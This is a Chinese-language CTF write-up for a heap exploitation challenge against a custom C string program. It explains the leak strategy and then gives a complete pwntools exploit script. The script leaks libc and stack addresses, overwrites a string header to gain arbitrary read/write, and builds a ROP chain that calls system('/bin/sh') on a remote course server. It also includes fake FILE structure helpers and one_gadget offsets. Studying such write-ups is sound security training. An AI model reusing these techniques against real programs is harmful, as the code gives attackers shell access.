一个用C实现的Cstring方法

gift给了libc的地址

image.png

会先有一个0x20大小的堆块存放着指向string真实内容的指针,然后下一个存放着这个string的大小,但是最初输入的时候不会malloc这么大的堆块,而是会根据你输入的大小来控制,当输入\x80的时候就会报出Invalid input而停止,因此可以用这个来控制大小

思路是先malloc几个堆块 然后add一个大的,但是输入一点东西,然后在cmd666分配一个带libc地址的堆块,然后edit刚才那个堆块,让他变大,此时会逐渐覆盖 伸到libc地址堆块然后show进行leak即可

add(0x10,b'victim\x80')
add(0x50,b'\x80')
# delete()
add(0x30,b'a'*0x31)
delete()
add(0x80,b'kkkkk\x80')
cmd(666)
edit(0x40,b'c'*0x41)
show()
p.recvuntil(b'c'*0x40)
leak_libc = u64(p.recv(6).ljust(8,b'\x00'))
success(hex(leak_libc))
libc_base = leak_libc - 0x80e50
success(f"libc_base: {hex(libc_base)}")
# 恢复一下让他好看些
edit(0x40,flat(
    b'k'*0x38,
    0x31,
    b'k'
))

修好指针就可以show了

image.png

image.png

这时候tcache应该还活着

image.png

备份一下 可以控到fd ← 不太好打 因为counts是0 申请不出来 再变一个tcache也可以 但是太麻烦 不如↓

最后的思路是 用gift来挡一下 然后用realloc当申请大堆块空间不足时,会先free掉原有的,然后再malloc一块新的,然后add回来 再edit 可以让上面的堆块变大 覆盖到string header 从而实现任意地址读写,稍微有些巧 需要设置好字符的大小和长度才能触发

from pwn import *
from pwncli import *

# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase(0x3000)
# Remote: python3 exp.py remote elf-file-path ip:port

# cli_script()

context.arch  = "amd64"
context.log_level = "debug"
context.terminal =['tmux','splitw','-h']
file_path = "./pwn"
libc_path = "./libc.so.6"

libc = ELF(libc_path)

# p = process(file_path)
p = remote("course.hitctf.cn",25297)
elf = ELF(file_path)

def house_of_some_read(read_from, length, _chain):
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
    fake_IO_FILE.fileno = 0
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_base = read_from
    fake_IO_FILE._IO_write_ptr = read_from + length
    fake_IO_FILE.chain = _chain
    fake_IO_FILE.vtable = libc.sym['_IO_file_jumps'] - 0x8
    return bytes(fake_IO_FILE)

def house_of_some_write(write_from, length, _chain):
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x8000 | 0x800 | 0x1000
    fake_IO_FILE.fileno = 1
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_base = write_from
    fake_IO_FILE._IO_write_ptr = write_from + length
    fake_IO_FILE.chain = _chain
    fake_IO_FILE.vtable = libc.sym['_IO_file_jumps']
    return bytes(fake_IO_FILE)

def cmd(i, prompt=b' >> '):
    p.sendlineafter(prompt, str(i))

def add(size,payload):
    cmd(1)
    p.sendlineafter(b"Enter length: ",str(size))
    # payload = payload + b'\x80'
    p.sendafter(b"Enter string: ",payload)

def edit(length, payload):
    cmd(4)
    p.sendlineafter(b"Enter length: ",str(length))
    # payload = payload + b'\x80'
    p.sendafter(b"Enter string: ",payload)

def show():
    cmd(3)

def delete():
    cmd(2)

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# while True:
#         sh=process("./baby_diary")
#         #sh=remote('8.140.114.72', 1399)
#         try:
#             pwn2()
#             gdb.attach(sh)
#             sh.interactive()
#         except:
#             sh.close()

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except EOFError:
#         gift.io = copy_current_io()

add(0x300,b'a\x80')
cmd(666)
#leak 
edit(0x20,b'c'*0x20+b'\x80')
show()
p.recvuntil(b'c'*0x20)
leak_libc = u64(p.recv(6)+b'\x00\x00')
libc_base = leak_libc - 0x80e50
libc.address = libc_base
success(f"libc_base: {hex(libc_base)}")
edit(0x20,b'b'*0x10 + b'\x00'*0x8 + p64(0x31) + b'\x80')
add(0x300,b'a'*0x28+b'\x80')
add(0x40,b'a'*0x28+b'\x80')
cmd(666)
edit(0x70,b'\x80')
add(0x300,b'a'*0x28+b'\x80')
edit(0x108, flat(
    b'b'*0x100,
    libc.sym['__environ']
) + b'\x80')
show()
p.recvline()
leak_stack = u64(p.recv(6)+b'\x00\x00')
success(f"leak_stack: {hex(leak_stack)}")

add(0x300,b'c'*0x28+b'\x80')
add(0x48, b'C' * 0x38 + b'\x80')
cmd(666)
edit(0x70,b'\x80')
add(0x300,b'V'*0x77+b'\x00'+b'\x80')
show()

edit(0xb8,flat(
    b'c'*0xb0,
    leak_stack - 0x140,
)+b'\x80')
show()
# gdb.attach(p, '''
# b *$rebase(0x13BF)
# b *$rebase(0x1631)
# b *$rebase(0x14BE)
# ''')
sh_addr = libc_base + 0x00000000001d8678
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
gift['io'] = p
gift['libc'] = libc
ogs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
edit(0x50,flat(
    # 0x0000000000029139+libc_base,
    pop_rdi, sh_addr,
    pop_rsi,0,
    0x00000000000904a9 + libc_base,0,0,
    libc.sym['system']
)+b'\x80')
# edit(0x50,flat(
#     ogs[6]+libc_base,
# )+b'\x80')
# edit()

p.interactive()